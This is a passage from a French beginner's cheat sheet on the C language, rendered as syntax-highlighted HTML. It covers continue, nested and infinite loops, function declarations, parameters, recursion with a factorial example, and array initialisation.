<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Exemple</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> i </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">3</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> i </span><span class="token operator" style="color:#393A34">&lt;</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">9</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> i</span><span class="token operator" style="color:#393A34">++</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">i </span><span class="token operator" style="color:#393A34">==</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">5</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">continue</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token function" style="color:#d73a49">printf</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"%d "</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> i</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<p>Cet exemple donne :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">3 4 6 7 8</span><br></div></code></pre></div></div>
<p>Ici, le chiffre <code>5</code> n'est pas écrit.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="boucles-imbriquées">Boucles imbriquées<a href="https://docs.bastienbonora.fr/blog/Cheatsheet-du-langage-C#boucles-imbriqu%C3%A9es" class="hash-link" aria-label="Lien direct vers Boucles imbriquées" title="Lien direct vers Boucles imbriquées" translate="no">​</a></h3>
<p>Les boucles imbriquées sont des boucles placées à l'intérieur d'autres boucles. Pour chaque itération de la boucle extérieur, celle à l'intérieur s'exécute complètement.</p>
<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Exemple de boucle imbriquée</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> i </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> i </span><span class="token operator" style="color:#393A34">&lt;</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">2</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> i</span><span class="token operator" style="color:#393A34">++</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> j </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> j </span><span class="token operator" style="color:#393A34">&lt;</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">3</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> j</span><span class="token operator" style="color:#393A34">++</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token function" style="color:#d73a49">printf</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"%d,%d "</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> i</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> j</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token function" style="color:#d73a49">printf</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"\n"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Résultat</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">,</span><span class="token number" style="color:#36acaa">0</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">,</span><span class="token number" style="color:#36acaa">1</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">,</span><span class="token number" style="color:#36acaa">2</span><span class="token plain"> </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token number" style="color:#36acaa">1</span><span class="token punctuation" style="color:#393A34">,</span><span class="token number" style="color:#36acaa">0</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">1</span><span class="token punctuation" style="color:#393A34">,</span><span class="token number" style="color:#36acaa">1</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">1</span><span class="token punctuation" style="color:#393A34">,</span><span class="token number" style="color:#36acaa">2</span><span class="token plain"> </span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="boucles-infinies">boucles infinies<a href="https://docs.bastienbonora.fr/blog/Cheatsheet-du-langage-C#boucles-infinies" class="hash-link" aria-label="Lien direct vers boucles infinies" title="Lien direct vers boucles infinies" translate="no">​</a></h3>
<p>Il y a des situations dans lesquelles on peut avoir besoins de boucles infinies comme dans des systèmes embarqués ou pour des programmes qui tournent continuellement.</p>
<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Boucle while ininie</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">while</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">1</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// code à exécuter</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Boucle for infinie</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">for</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">;</span><span class="token punctuation" style="color:#393A34">;</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// code to be executed</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Boucle do-while infinie</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">do</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// code to be executed</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">while</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">1</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><br></div></code></pre></div></div>
<p>Et pour terminer une boucle infinie, on a typiquement besoins de <a href="https://docs.bastienbonora.fr/blog/Cheatsheet-du-langage-C#break" class="">l'instruction break</a>.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="les-fonctions">Les fonctions<a href="https://docs.bastienbonora.fr/blog/Cheatsheet-du-langage-C#les-fonctions" class="hash-link" aria-label="Lien direct vers Les fonctions" title="Lien direct vers Les fonctions" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="déclarer-une-fonction">Déclarer une fonction<a href="https://docs.bastienbonora.fr/blog/Cheatsheet-du-langage-C#d%C3%A9clarer-une-fonction" class="hash-link" aria-label="Lien direct vers Déclarer une fonction" title="Lien direct vers Déclarer une fonction" translate="no">​</a></h3>
<p>Une fonction en C est un bloc de code qui accompli une tâche spécifique. Les fonctions nous permettent d'organiser le code, le rendre réutilisable et améliorer la lisibilité.</p>
<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Déclaration d'une fonction</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">return_type </span><span class="token function" style="color:#d73a49">function_name</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">parameter1_type parameter1_name</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> parameter2_type parameter2_name</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">.</span><span class="token punctuation" style="color:#393A34">.</span><span class="token punctuation" style="color:#393A34">.</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// code to be executed</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> value</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"> </span><span class="token comment" style="color:#999988;font-style:italic">// if the return_type is not void</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Une fonction affichant un message</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">void</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">greet</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token function" style="color:#d73a49">printf</span><span class="token punctuation" style="color:#393A34">(</span><span class="token string" style="color:#e3116c">"Hello, welcome to C programming!"</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Appeler une fonction externe</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">main</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token function" style="color:#d73a49">greet</span><span class="token punctuation" style="color:#393A34">(</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">0</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<p>Les fonctions peuvent également prendre des paramètres et retourner des valeurs.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="types-de-retour">Types de retour<a href="https://docs.bastienbonora.fr/blog/Cheatsheet-du-langage-C#types-de-retour" class="hash-link" aria-label="Lien direct vers Types de retour" title="Lien direct vers Types de retour" translate="no">​</a></h3>
<p>Lorsque l'on défini une fonction, on doit spécifier le type de valeur que la fonction renverra à son appelant.</p>
<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Fonction retournant un int</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">sum</span><span class="token punctuation" style="color:#393A34">(</span><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> a</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> b</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> a </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> b</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Fonction retournant un float</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">float</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">average</span><span class="token punctuation" style="color:#393A34">(</span><span class="token keyword" style="color:#00009f">float</span><span class="token plain"> a</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">float</span><span class="token plain"> b</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">a </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> b</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">/</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">2</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<p>le <code>int</code> précédant le nom de la fonction spécifie que cette fonction retournera un <code>int</code>.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="paramètres-de-fonction">Paramètres de fonction<a href="https://docs.bastienbonora.fr/blog/Cheatsheet-du-langage-C#param%C3%A8tres-de-fonction" class="hash-link" aria-label="Lien direct vers Paramètres de fonction" title="Lien direct vers Paramètres de fonction" translate="no">​</a></h3>
<p>Les fonctions que l'on défini en C peuvent accepter des paramètres (ou des arguments), qui sont des valeurs passée à la fonction lorsqu'elle est appelée.</p>
<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">fonction avec des paramètres</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">add</span><span class="token punctuation" style="color:#393A34">(</span><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> a</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> b</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> a </span><span class="token operator" style="color:#393A34">+</span><span class="token plain"> b</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token comment" style="color:#999988;font-style:italic">// Appel de la fonction</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> result </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">add</span><span class="token punctuation" style="color:#393A34">(</span><span class="token number" style="color:#36acaa">5</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">3</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="fonctions-récursives">Fonctions récursives<a href="https://docs.bastienbonora.fr/blog/Cheatsheet-du-langage-C#fonctions-r%C3%A9cursives" class="hash-link" aria-label="Lien direct vers Fonctions récursives" title="Lien direct vers Fonctions récursives" translate="no">​</a></h3>
<p>Le principe est simple : résoudre un "gros problème" en le divisant en tout un tas de "petits problèmes". Pour ce faire, on va faire en sorte que la fonction s'appelle elle-même pour résoudre le problème en question petit à petit.</p>
<div class="language-C language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Fonction récursive retournant n factoriel</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">factorial</span><span class="token punctuation" style="color:#393A34">(</span><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> n</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// Base case: factorial of 0 or 1 is 1</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">n </span><span class="token operator" style="color:#393A34">&lt;=</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">1</span><span class="token punctuation" style="color:#393A34">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">        </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">1</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token punctuation" style="color:#393A34">}</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token comment" style="color:#999988;font-style:italic">// Recursive case: n! = n * (n-1)!</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">    </span><span class="token keyword" style="color:#00009f">return</span><span class="token plain"> n </span><span class="token operator" style="color:#393A34">*</span><span class="token plain"> </span><span class="token function" style="color:#d73a49">factorial</span><span class="token punctuation" style="color:#393A34">(</span><span class="token plain">n </span><span class="token operator" style="color:#393A34">-</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">1</span><span class="token punctuation" style="color:#393A34">)</span><span class="token punctuation" style="color:#393A34">;</span><span class="token plain"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"></span><span class="token punctuation" style="color:#393A34">}</span><br></div></code></pre></div></div>
<p>En fonction du nombre que l'on donne à la fonction, elle va effectuer un calcul puis se rappeler elle-même avec <code>n-1</code> jusqu'à ce que <code>n</code> soit à 0. Et là le problème est résolu : on a n! (n factoriel).</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="les-tableaux">Les tableaux<a href="https://docs.bastienbonora.fr/blog/Cheatsheet-du-langage-C#les-tableaux" class="hash-link" aria-label="Lien direct vers Les tableaux" title="Lien direct vers Les tableaux" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="déclarer-des-tableaux">Déclarer des tableaux<a href="https://docs.bastienbonora.fr/blog/Cheatsheet-du-langage-C#d%C3%A9clarer-des-tableaux" class="hash-link" aria-label="Lien direct vers Déclarer des tableaux" title="Lien direct vers Déclarer des tableaux" translate="no">​</a></h3>
<p>Les tableaux nous permettent de stocker de multiples valeurs en utilisant un seul nom de variable.</p>
<div class="language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockTitle_OeMC">Déclarer un tableau d'entier avec 5 éléments</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> numbers</span><span class="token punctuation" style="color:#393A34">[</span><span class="token number" style="color:#36acaa">5</span><span class="token punctuation" style="color:#393A34">]</span><span class="token punctuation" style="color:#393A34">;</span><br></div></code></pre></div></div>
<p>Cela nous permet de déclarer un tableau pouvant contenir uniquement 5 entiers.</p>
<p>On peut également initialiser le tableau avec des valeurs :</p>
<div class="language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> numbers</span><span class="token punctuation" style="color:#393A34">[</span><span class="token number" style="color:#36acaa">5</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token number" style="color:#36acaa">10</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">20</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">30</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">40</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">50</span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">;</span><br></div></code></pre></div></div>
<p>Et au lieu de définir soi-même la taille du tableau, on peut laisser le compilateur décider de lui-même :</p>
<div class="language-c codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-c codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token keyword" style="color:#00009f">int</span><span class="token plain"> numbers</span><span class="token punctuation" style="color:#393A34">[</span><span class="token punctuation" style="color:#393A34">]</span><span class="token plain"> </span><span class="token operator" style="color:#393A34">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#393A34">{</span><span class="token number" style="color:#36acaa">10</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">20</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">30</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">40</span><span class="token punctuation" style="color:#393A34">,</span><span class="token plain"> </span><span class="token number" style="color:#36acaa">50</span><span class="token punctuation" style="color:#393A34">}</span><span class="token punctuation" style="color:#393A34">;</span><br></div></code></pre></div></div>
<p>Et donc, pour stocker un mot par exemple, on peut le faire de deux manières :</p>
